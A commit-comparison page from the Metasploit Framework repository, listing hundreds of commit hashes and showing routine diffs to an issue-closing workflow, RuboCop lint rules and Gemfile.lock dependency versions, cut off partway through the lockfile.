Compare commits
703 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 4d98499766 | |||
| 63115c9415 | |||
| ec5858c198 | |||
| 03fcfa7559 | |||
| 4b33fc5d64 | |||
| 8ab37b0b07 | |||
| bb782a7120 | |||
| 7a1f761e84 | |||
| 2dc5a94ab7 | |||
| c9a9b998d2 | |||
| 10577cf1e4 | |||
| 8f13040ce0 | |||
| e646c0c6e2 | |||
| 6aad398e2b | |||
| e7c05eabe3 | |||
| 447f36ee37 | |||
| a8043adef0 | |||
| 9215488d31 | |||
| b052386700 | |||
| 5a57ea131e | |||
| 8c15c31b56 | |||
| 0436e8bad9 | |||
| 365b7c099c | |||
| f35b9e4fa5 | |||
| 0908c85f1b | |||
| f1602dd772 | |||
| 17f674e3fa | |||
| 04df1ef7e8 | |||
| b224fd3ff3 | |||
| 896058a147 | |||
| f6c8181b7f | |||
| 8e77b70c99 | |||
| 61cfd770ed | |||
| 9c9eac28a7 | |||
| ec025cbeda | |||
| 34a6980e5e | |||
| 4cb9a4c142 | |||
| 246de78f85 | |||
| 9563466037 | |||
| bd286dd147 | |||
| de18ed438a | |||
| 898a9f2f3d | |||
| a2c23d18ef | |||
| 40613a4741 | |||
| b65d3252e9 | |||
| 2eaa31c402 | |||
| 6ae00877ed | |||
| 1b72de063e | |||
| 7eb799bc89 | |||
| 7667499011 | |||
| d17ab39748 | |||
| e874731781 | |||
| 78e80f8e32 | |||
| 162fe21659 | |||
| d4b668e27b | |||
| e54d602d4c | |||
| db853f9a68 | |||
| a4e1952da3 | |||
| 6984c6c7d4 | |||
| cf68410e0e | |||
| dec705cc2a | |||
| 396a4b90cc | |||
| c1df987c0b | |||
| 2c7d54da2f | |||
| 32b6741cd8 | |||
| 169d86e9ae | |||
| 37130e5a3d | |||
| 4b176c8ef5 | |||
| 879f94571e | |||
| 1e23dffc5b | |||
| 19c79bed18 | |||
| 71a058b555 | |||
| 66e58e395c | |||
| cda2e9610b | |||
| ace2f42387 | |||
| f9bbf32447 | |||
| afce19d378 | |||
| 2c8ad1f158 | |||
| b9cb33598c | |||
| 08788d3d82 | |||
| fae910eb6b | |||
| cc0a32cdda | |||
| f9d5459a9c | |||
| 7feeb25ee1 | |||
| aef2b8d314 | |||
| 8cc6b88071 | |||
| d19c9e7732 | |||
| 0ed25cd2cc | |||
| 7a4fc4b58b | |||
| 9194e66737 | |||
| 0e3a341ac9 | |||
| 30cf40a4f1 | |||
| bc57131b73 | |||
| 7ad6c425c0 | |||
| 87c0faa73a | |||
| 0dd8f94b31 | |||
| fef3796d43 | |||
| 8e2169ed47 | |||
| e8365aba85 | |||
| 275963eca2 | |||
| 4ed5c59cf2 | |||
| a6b478e046 | |||
| 0a0b11491a | |||
| a313e36c1d | |||
| e6c1aecd26 | |||
| 585479474b | |||
| e3983eac1f | |||
| 29c24438a6 | |||
| 6119330e29 | |||
| 7dc1faa689 | |||
| 59ff65d58d | |||
| 875ad34b62 | |||
| b01e3ca324 | |||
| b9f3d2b1d5 | |||
| 3b7cf035ea | |||
| 8525849763 | |||
| a2d2946007 | |||
| 18170babc2 | |||
| 1a8671311d | |||
| 02072418f0 | |||
| eec0e71dd7 | |||
| 056b0a0e8b | |||
| 599c8609a7 | |||
| 42902bb5e5 | |||
| 665ba4aece | |||
| 9985538846 | |||
| 79d4021f31 | |||
| 544fb8ead6 | |||
| ce111f158a | |||
| d92fc41d29 | |||
| 4984a3e2d3 | |||
| 261fc5227d | |||
| 3c7c2f1fbe | |||
| d08fa00c06 | |||
| 67b98b5120 | |||
| f0189cc886 | |||
| 656c562816 | |||
| cc79fe039a | |||
| b7456e20d5 | |||
| 523931aa4c | |||
| c345fe78b8 | |||
| c07ca83d6c | |||
| 04a9ae7335 | |||
| c22c2904c2 | |||
| e004be00fe | |||
| 452daf0b64 | |||
| 5d63175b56 | |||
| 653234e1d0 | |||
| 818046c6dd | |||
| 769e2e760c | |||
| c3a7da54d5 | |||
| 40e6917b7f | |||
| 8b3d799104 | |||
| 05d9e7f9d6 | |||
| 917bbbc9e0 | |||
| c93a4d0e30 | |||
| 2a0221a7ed | |||
| 2de5d4324f | |||
| 7058d4c8ad | |||
| 9af0f5ca0c | |||
| a6159ccda5 | |||
| f7cee703ce | |||
| 728e1f1ea2 | |||
| 2b90337947 | |||
| ffea12fe2c | |||
| a853efb05f | |||
| c12ef82d35 | |||
| 057fd1b74b | |||
| b3d4812416 | |||
| a54f3d4707 | |||
| 812d3c7f35 | |||
| 18cfc42cb0 | |||
| e112c9b610 | |||
| 51fb3335c7 | |||
| b82bb572ca | |||
| a95ae383d0 | |||
| 6fdbc0b903 | |||
| c41d44ac3c | |||
| 2711ba4b3a | |||
| eb12cfec05 | |||
| 3aabb738bf | |||
| fd4be04e28 | |||
| 15d267a233 | |||
| f40e843b4e | |||
| 152ef4a86b | |||
| 6f400052b1 | |||
| 6111d55504 | |||
| ab08cd2d1c | |||
| c926f4961b | |||
| 6f89d94759 | |||
| 1f32004901 | |||
| 7cb6213334 | |||
| 54ed192401 | |||
| 4cab9b1a34 | |||
| 41fe44ef1a | |||
| 6897be4b01 | |||
| 51ea787f69 | |||
| 9cd024a7a2 | |||
| 0a559bfded | |||
| e1ecdac2a5 | |||
| 72ec93d27a | |||
| aaa36e2651 | |||
| f626b55831 | |||
| f6c4679435 | |||
| 1330913e33 | |||
| 865251b8aa | |||
| 74bb908e56 | |||
| fcb93fef58 | |||
| f3c12ba176 | |||
| 7a2643304e | |||
| 97d67c6a79 | |||
| 5d0ae3e0c0 | |||
| 95e8a1c175 | |||
| f9c6caa804 | |||
| a36a475111 | |||
| 6d4ee0c071 | |||
| 38f7cbdfc6 | |||
| abe5570902 | |||
| 8572053f0c | |||
| bcef7ee357 | |||
| a67e894609 | |||
| e2e8568860 | |||
| 0d6195a9ae | |||
| b7ac6d45d5 | |||
| 5f382cedba | |||
| d77113dad5 | |||
| 3ca177eb1f | |||
| bfac7e6e0b | |||
| ff3b68a352 | |||
| 26d0f77379 | |||
| 99aca10c8d | |||
| d04c8e1bce | |||
| 0c87b0b7cf | |||
| 69daea95d6 | |||
| 820e625baa | |||
| 8226fb9022 | |||
| 28459c286a | |||
| b095a6ccd2 | |||
| 67ac2dc584 | |||
| 3fe0801d92 | |||
| 8356837e0a | |||
| 16ecb2e649 | |||
| d6e9e8d3bb | |||
| efd79bdd3a | |||
| 1918c856e1 | |||
| e790b1aac6 | |||
| e02c80f10d | |||
| 835f397f79 | |||
| 4c2b1c301f | |||
| 1f2a889d0c | |||
| f5d1aab01a | |||
| 5d0b7c191c | |||
| dd576dd860 | |||
| 56e5796157 | |||
| 236de61130 | |||
| acf23e9c61 | |||
| feaddc09cc | |||
| 2f45c3baa8 | |||
| cf3d14d42f | |||
| 83cc0bf5a9 | |||
| 158fae2a2c | |||
| 1764f0806e | |||
| 3b73adf05d | |||
| c5ed25cd6c | |||
| e3df74ee5b | |||
| 871a251c94 | |||
| e59a192a84 | |||
| c82af18e68 | |||
| 31e3f459d8 | |||
| d257bae706 | |||
| 49f15527d1 | |||
| 5903addbd6 | |||
| 1b7cee4589 | |||
| 668735e418 | |||
| 9e1be62f06 | |||
| 31a32ccd9b | |||
| 56761a2f6d | |||
| 6b853b57c6 | |||
| 764abaf087 | |||
| df365b55a4 | |||
| 01204106e9 | |||
| 0df12fd694 | |||
| 04e0fc70bf | |||
| 8b26064855 | |||
| 3baa894840 | |||
| 0c567c474e | |||
| 6f6559dc2c | |||
| 335c00e2f9 | |||
| daadb4f523 | |||
| 1fef0ebdb1 | |||
| 8a76dab0bd | |||
| 027793cce6 | |||
| ac72c12734 | |||
| d06e2d9e3d | |||
| 22c05105d3 | |||
| 90d4b660f7 | |||
| 3bf60a57ae | |||
| cea8aa8e02 | |||
| ee0334dd40 | |||
| fddcae3d93 | |||
| 0cbebc8a4c | |||
| 103def70e4 | |||
| bb9e214282 | |||
| d72d47e502 | |||
| 897aaf9572 | |||
| 2310b0d942 | |||
| 86f4a16cff | |||
| e160e51711 | |||
| 887551bf2c | |||
| 8db10af8c0 | |||
| dff139d6d7 | |||
| 2ce3aeed2b | |||
| c0ee250b6b | |||
| cfaad7fb84 | |||
| 9e64f02742 | |||
| ac6e94770e | |||
| 311314984f | |||
| cc4e455530 | |||
| 3196a52bdf | |||
| c2c5c0c339 | |||
| c53a22d3fb | |||
| 7217a60e41 | |||
| 4a4b2a28d2 | |||
| d9c5a3debf | |||
| ec7347cd49 | |||
| 1eeaff255e | |||
| 3bd4c15704 | |||
| 4bb843fe70 | |||
| 8dfe58e617 | |||
| 4eef052fcd | |||
| 192af217b6 | |||
| 015d79a4c2 | |||
| 9ab335ee05 | |||
| 18ecd8be18 | |||
| ccf1a82664 | |||
| db343e629d | |||
| bc002de9f2 | |||
| 4afa8515a8 | |||
| 3a7da2ad8a | |||
| 07d7248de8 | |||
| a26e839ef8 | |||
| 29eec5733d | |||
| ddd594ac62 | |||
| 94e9504727 | |||
| 3f7f28dd4f | |||
| daef33fe33 | |||
| 2a9ddae531 | |||
| 06e7c3d702 | |||
| 2fbc80a44f | |||
| d188170169 | |||
| 4866c2b8b8 | |||
| fdcf55ef58 | |||
| 63e2376f64 | |||
| d2d99b5db7 | |||
| 0cbac03f91 | |||
| 876b7c2c0f | |||
| beb9f87d53 | |||
| 9961fffaa2 | |||
| 01399e4818 | |||
| 38511f4d89 | |||
| e66fd8f5ae | |||
| 69839d1924 | |||
| 85185633b7 | |||
| 614f4b6d89 | |||
| fc711131a2 | |||
| deafceed00 | |||
| d3f84af790 | |||
| dc8ebb722a | |||
| c844d4d714 | |||
| 771f32bd8a | |||
| 378a667f76 | |||
| 2de53712bd | |||
| 94ceeb075a | |||
| 350984bc41 | |||
| ee95eb2883 | |||
| 5c1fcc3a72 | |||
| 14b5c08a62 | |||
| ae7ca169fe | |||
| 3847c410b0 | |||
| 7b0a54bb56 | |||
| d59175a463 | |||
| ab57c09dc2 | |||
| 540f28d71b | |||
| f0dbf54c69 | |||
| 7068d4c3f1 | |||
| c69b5c9363 | |||
| 100cfbccf9 | |||
| eeb30d2426 | |||
| 76b05a7092 | |||
| b37be28191 | |||
| d31220ef1e | |||
| 263223b783 | |||
| dfae7e2fc4 | |||
| 05774d5f9c | |||
| bbc071d254 | |||
| 924d5eabee | |||
| 3bc4639235 | |||
| fbda738da9 | |||
| 599642bbb9 | |||
| 28fb670d4d | |||
| 71e142a5ee | |||
| 2c3005fee3 | |||
| 0fc94f14e8 | |||
| f62994b4c0 | |||
| f8dbeb359a | |||
| 6ef92915d2 | |||
| 75002f16e6 | |||
| 889aff9701 | |||
| 475209c768 | |||
| de58b96d2a | |||
| f5aa4296ff | |||
| 10af603858 | |||
| 7bcdf0386e | |||
| 92a91c759e | |||
| 3338718f37 | |||
| 795b9c9ebc | |||
| 0bf809697c | |||
| a0accb2a36 | |||
| ecbeceb817 | |||
| 3f781de8e9 | |||
| 6e06d1e6f8 | |||
| 5c4d730cd3 | |||
| 77c99da6d6 | |||
| d318a9e0d0 | |||
| 48a5f33f35 | |||
| 2aa74f9dfc | |||
| 4f75a44581 | |||
| 10ea667b8f | |||
| 2c9aed6071 | |||
| c5ef08b324 | |||
| 08f07eccb6 | |||
| 9dcaf93b29 | |||
| 6adfc69b9a | |||
| a2a9cd76b3 | |||
| 99fb35fe84 | |||
| 20003fd165 | |||
| 9a4f8c0e7f | |||
| 2c1de9b2e4 | |||
| df4009c084 | |||
| fe84cb0804 | |||
| 6579dcc977 | |||
| 3b7a224f37 | |||
| 252012f48d | |||
| f8c67e9498 | |||
| 6259f02051 | |||
| efd79eb638 | |||
| 0047ce5d3a | |||
| d5f9ff14d2 | |||
| 31ca497e1f | |||
| 975de9d479 | |||
| 96c9f60cc1 | |||
| 5b82c952ba | |||
| ae549ce1d4 | |||
| 5b4962e2bd | |||
| 673a574b3d | |||
| f3975e968f | |||
| ec2d71cbb7 | |||
| a418bd9c65 | |||
| 7b7377257e | |||
| e178226efa | |||
| dd7e8328bb | |||
| 1461f9fb03 | |||
| 6a81e0f6cb | |||
| 83bcd1cc1b | |||
| 088f359cee | |||
| 08cb115368 | |||
| 1245124afa | |||
| dde4445dab | |||
| 3fabcc3421 | |||
| 82005fe3cf | |||
| c8aa491378 | |||
| 3abd62076c | |||
| 89d9da87bd | |||
| a916163b49 | |||
| b3e6767125 | |||
| 380a66916f | |||
| 636d89cf67 | |||
| 75ed29964e | |||
| 41c231b803 | |||
| b8178397a9 | |||
| 2be54376bc | |||
| d92b6e328a | |||
| 1f370b3c9e | |||
| 87f046f351 | |||
| ac3e84d3fb | |||
| 524f5e4e63 | |||
| 8b03f2fda8 | |||
| 4cd50b4550 | |||
| fc76f5f039 | |||
| 3f1119c69e | |||
| 2f08cf6c46 | |||
| 47652e3b19 | |||
| 3c56cf7a15 | |||
| 363a3415df | |||
| b7d373d247 | |||
| 50fdd4536e | |||
| 49a2f481b6 | |||
| fe8afed994 | |||
| 020d2d3302 | |||
| f6bfa6a61b | |||
| 20dbc175d1 | |||
| 26d9026fc2 | |||
| fc8f94fff4 | |||
| 9706ee9d9e | |||
| ca6faed172 | |||
| 5311a491e9 | |||
| 7db2d86147 | |||
| 22ad9ebe7f | |||
| b19ab03da1 | |||
| a408e3e27f | |||
| 011ffb87bd | |||
| 5749b402af | |||
| 9a874c352b | |||
| 9e9e7ac938 | |||
| 0479215373 | |||
| eec73fe394 | |||
| 5e2f0965f3 | |||
| 8db255288b | |||
| 2ed89dda7e | |||
| fbf2e5d370 | |||
| f4549b0a1e | |||
| d21f6a10a2 | |||
| 6c5c158607 | |||
| 42bd87e0c1 | |||
| 4c25530afe | |||
| ae461c2395 | |||
| 59eb419d28 | |||
| d16905ca49 | |||
| 8a37cc6c88 | |||
| 8b27c2e8f7 | |||
| b2cc84228f | |||
| 65c11bd8c8 | |||
| fd5d10e610 | |||
| 743e5ffd9f | |||
| 10552cbc87 | |||
| 9ff4cdfd5c | |||
| 55371f9363 | |||
| 2de3142cde | |||
| b3f30f00a7 | |||
| b38d51edca | |||
| 6b36463086 | |||
| c0042ab0d2 | |||
| 9621f77bac | |||
| bf7884b2dc | |||
| 62439bbcd0 | |||
| 2b5b17916f | |||
| 690abcfe1f | |||
| f6ec3855b3 | |||
| 0c8df1a67b | |||
| 42146fc4ec | |||
| 80cec400bf | |||
| fc5f4983f6 | |||
| 647418745f | |||
| e1e39ad5bc | |||
| e625e2e474 | |||
| 6dbf22a5e7 | |||
| fa3baa40e6 | |||
| 963b9a9952 | |||
| 3854c30a11 | |||
| fc5d938d8c | |||
| 1b44973c80 | |||
| 239bc02db4 | |||
| 6e9a7a9d07 | |||
| 31a5125d78 | |||
| 5314d21e59 | |||
| db290369a4 | |||
| bf5919f461 | |||
| f61c3bcefc | |||
| fc5a38e870 | |||
| 1f45b1e4b7 | |||
| 75fb5e883d | |||
| bdc435f5c8 | |||
| 066d0a6f7e | |||
| c553f80cd9 | |||
| 38d8b70873 | |||
| c713da368d | |||
| 871c9c57f3 | |||
| 9cf2bbf352 | |||
| c6e9c8e3db | |||
| 676dd5cbbd | |||
| 292c160abf | |||
| ce9933fc4c | |||
| 73e82274dd | |||
| 197124dd76 | |||
| a3a6ae9c4a | |||
| c610949a5a | |||
| 44c393e2f1 | |||
| 71cecfb1d4 | |||
| 1c49b002d2 | |||
| 00d1637f3d | |||
| e7da4c4612 | |||
| 12c739b881 | |||
| 5a2ab6edd4 | |||
| ecd5ad29a7 | |||
| a8d2073eee | |||
| 86e8f5c484 | |||
| 5d8b1dc4a6 | |||
| 557042c91c | |||
| b89602bb7b | |||
| 301d25ddfa | |||
| a98368cfc5 | |||
| 5725dd2ded | |||
| 165b0f8d61 | |||
| ac9d60ce9e | |||
| 5d254cc36b | |||
| 78ae5f49ce | |||
| 304b90ecc8 | |||
| 8aed02de3d | |||
| bf57918454 | |||
| d1463df3cc | |||
| ff159c8760 | |||
| ca0b1ffe05 | |||
| 2e195b2742 | |||
| 0e86cfa6c7 | |||
| d012145726 | |||
| 96fecb6048 | |||
| 1dadd113dd | |||
| 9c3cfd8bdb | |||
| 45e453d687 | |||
| 9605b4bb91 | |||
| c3fa924cfa | |||
| 210b7a3254 | |||
| d6419ee4fb | |||
| 2a386981bd | |||
| f4c5e34a1b | |||
| fcfc39296f | |||
| 79b1801a4f | |||
| d5b7ad30a1 | |||
| a3f4dceb5b | |||
| 6b29b14c46 | |||
| dc8ee988f5 | |||
| a19bdde276 | |||
| 54c472ef18 | |||
| 036ed7f467 | |||
| 86fc617259 | |||
| 0cf7dd850f | |||
| e963582e18 | |||
| f2a86327d0 | |||
| 6343fc8f7c | |||
| fd6cd82f30 | |||
| 025ba6775d | |||
| 126e3a9c9a | |||
| 2608852d8c | |||
| aa9b3df6b3 | |||
| e420dc123d | |||
| c7279e9a0a | |||
| d4be663923 | |||
| 86f11b09fb | |||
| 406574722a | |||
| b97a288102 | |||
| ef53e3c52e | |||
| a215d64574 | |||
| 8aef054dfd | |||
| 4b05ba6189 | |||
| 427c181e9a | |||
| 19bcf8be7f | |||
| 35749a000a | |||
| 475813eb33 | |||
| 59332da8ce | |||
| ac9caa8894 | |||
| 7cff3cc2b0 | |||
| 4b3125d14b | |||
| b789e00ea7 | |||
| 62d43a6e96 | |||
| 633c58a0ff | |||
| d0feedadbf | |||
| b67f001e2a | |||
| 1afecd0884 | |||
| 243c57c1fe | |||
| 990d5ccfad | |||
| 16c176dbe0 | |||
| a368f76a2a | |||
| 60bfa329fa | |||
| d83c2c3a5d | |||
| 676fda73b1 | |||
| 7494318ec4 | |||
| 93f579b180 | |||
| 0a99e2be6a | |||
| bdf5f8fbe4 | |||
| 7cd68e8f06 | |||
| dcec717a9b | |||
| 0a53cab369 | |||
| 45d0eb8bb4 | |||
| cc5c405941 | |||
| 1b690283db | |||
| cf6d5d3a14 | |||
| 8aca86b816 | |||
| 5c3ac339d0 | |||
| 704cee436b | |||
| c1236500f1 | |||
| ff63f0aa32 | |||
| 27f8f4fc47 | |||
| 7880530989 | |||
| 0e5f8d49f9 | |||
| 13a3d9d1ca | |||
| 7983c14166 | |||
| 3d73f574d4 | |||
| a05cbdbc30 | |||
| c9eaa9af37 | |||
| 34d191b06c | |||
| f1b97de78d | |||
| 54667a2424 | |||
| 1d400bd094 |
@@ -191,6 +191,14 @@ jobs:
|
||||
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
`
|
||||
},
|
||||
attic: {
|
||||
close: true,
|
||||
comment: `
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
|
||||
|
||||
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
|
||||
`
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
+17
-5
@@ -79,6 +79,17 @@ Lint/UnexpectedBlockArity:
|
||||
Lint/UnmodifiedReduceAccumulator:
|
||||
Enabled: true
|
||||
|
||||
Lint/UnusedMethodArgument:
|
||||
Description: >-
|
||||
Disabled on files under the lib/ directory (aka library files)
|
||||
as this can break YARD documentation since YARD doesn't recognize
|
||||
the _ prefix before parameter names and thinks its a different argument.
|
||||
See https://github.com/rapid7/metasploit-framework/pull/17735
|
||||
Also see https://github.com/rubocop/rubocop/pull/11020
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'lib/**/*'
|
||||
|
||||
Style/ArgumentsForwarding:
|
||||
Enabled: true
|
||||
|
||||
@@ -175,12 +186,13 @@ Lint/DeprecatedGemVersion:
|
||||
Exclude:
|
||||
- 'metasploit-framework.gemspec'
|
||||
|
||||
Metrics/ClassLength:
|
||||
Metrics/ModuleLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
- 'test/modules/**/*'
|
||||
Enabled: false
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit classes are quite large. This is ok.'
|
||||
Enabled: false
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
|
||||
+56
-51
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.2)
|
||||
metasploit-framework (6.3.14)
|
||||
actionpack (~> 7.0)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -10,7 +10,9 @@ PATH
|
||||
aws-sdk-s3
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bootsnap
|
||||
bson
|
||||
chunky_png
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
@@ -29,7 +31,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.108)
|
||||
metasploit-payloads (= 2.0.127)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.20)
|
||||
mqtt
|
||||
@@ -97,25 +99,25 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (7.0.4.2)
|
||||
actionview (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
actionpack (7.0.4.3)
|
||||
actionview (= 7.0.4.3)
|
||||
activesupport (= 7.0.4.3)
|
||||
rack (~> 2.0, >= 2.2.0)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
actionview (7.0.4.3)
|
||||
activesupport (= 7.0.4.3)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
activerecord (7.0.4.2)
|
||||
activemodel (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
activesupport (7.0.4.2)
|
||||
activemodel (7.0.4.3)
|
||||
activesupport (= 7.0.4.3)
|
||||
activerecord (7.0.4.3)
|
||||
activemodel (= 7.0.4.3)
|
||||
activesupport (= 7.0.4.3)
|
||||
activesupport (7.0.4.3)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
@@ -127,22 +129,22 @@ GEM
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.707.0)
|
||||
aws-partitions (1.722.0)
|
||||
aws-sdk-core (3.170.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.364.0)
|
||||
aws-sdk-ec2 (1.368.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.75.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.62.0)
|
||||
aws-sdk-kms (1.63.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.119.0)
|
||||
aws-sdk-s3 (1.119.1)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
@@ -151,11 +153,14 @@ GEM
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.16.0)
|
||||
msgpack (~> 1.2)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.2.0)
|
||||
concurrent-ruby (1.2.2)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
@@ -190,7 +195,7 @@ GEM
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.0.0)
|
||||
faraday-retry (2.1.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
eventmachine (>= 0.12.0)
|
||||
@@ -215,7 +220,7 @@ GEM
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.6.0)
|
||||
irb (1.6.2)
|
||||
irb (1.6.3)
|
||||
reline (>= 0.3.0)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
@@ -225,7 +230,7 @@ GEM
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.19.1)
|
||||
loofah (2.20.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.1)
|
||||
@@ -235,7 +240,7 @@ GEM
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.2)
|
||||
metasploit-credential (6.0.4)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -249,7 +254,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.108)
|
||||
metasploit-payloads (2.0.127)
|
||||
metasploit_data_models (6.0.2)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -263,9 +268,9 @@ GEM
|
||||
metasploit_payloads-mettle (1.0.20)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.1)
|
||||
minitest (5.17.0)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.6.0)
|
||||
minitest (5.18.0)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
@@ -275,11 +280,11 @@ GEM
|
||||
timeout
|
||||
net-smtp (0.3.3)
|
||||
net-protocol
|
||||
net-ssh (7.0.1)
|
||||
net-ssh (7.1.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.14.1)
|
||||
nokogiri (1.14.2)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
@@ -292,7 +297,7 @@ GEM
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.2.0.0)
|
||||
parser (3.2.1.1)
|
||||
ast (~> 2.4.1)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
@@ -302,7 +307,7 @@ GEM
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.5)
|
||||
pg (1.4.6)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -310,22 +315,22 @@ GEM
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.1)
|
||||
puma (6.0.2)
|
||||
puma (6.1.1)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.2)
|
||||
rack (2.2.6.2)
|
||||
rack (2.2.6.4)
|
||||
rack-protection (3.0.5)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack-test (2.1.0)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.0.3)
|
||||
activesupport (>= 4.2.0)
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.5.0)
|
||||
loofah (~> 2.19, >= 2.19.1)
|
||||
railties (7.0.4.2)
|
||||
actionpack (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
railties (7.0.4.3)
|
||||
actionpack (= 7.0.4.3)
|
||||
activesupport (= 7.0.4.3)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
@@ -335,10 +340,10 @@ GEM
|
||||
rasn1 (0.12.1)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.0.3)
|
||||
recog (3.1.1)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.6.2)
|
||||
regexp_parser (2.7.0)
|
||||
reline (0.3.2)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
@@ -354,7 +359,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.37)
|
||||
rex-exploitation (0.1.38)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -379,14 +384,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.47)
|
||||
rex-socket (0.1.49)
|
||||
rex-core
|
||||
rex-sslscan (0.1.9)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.3)
|
||||
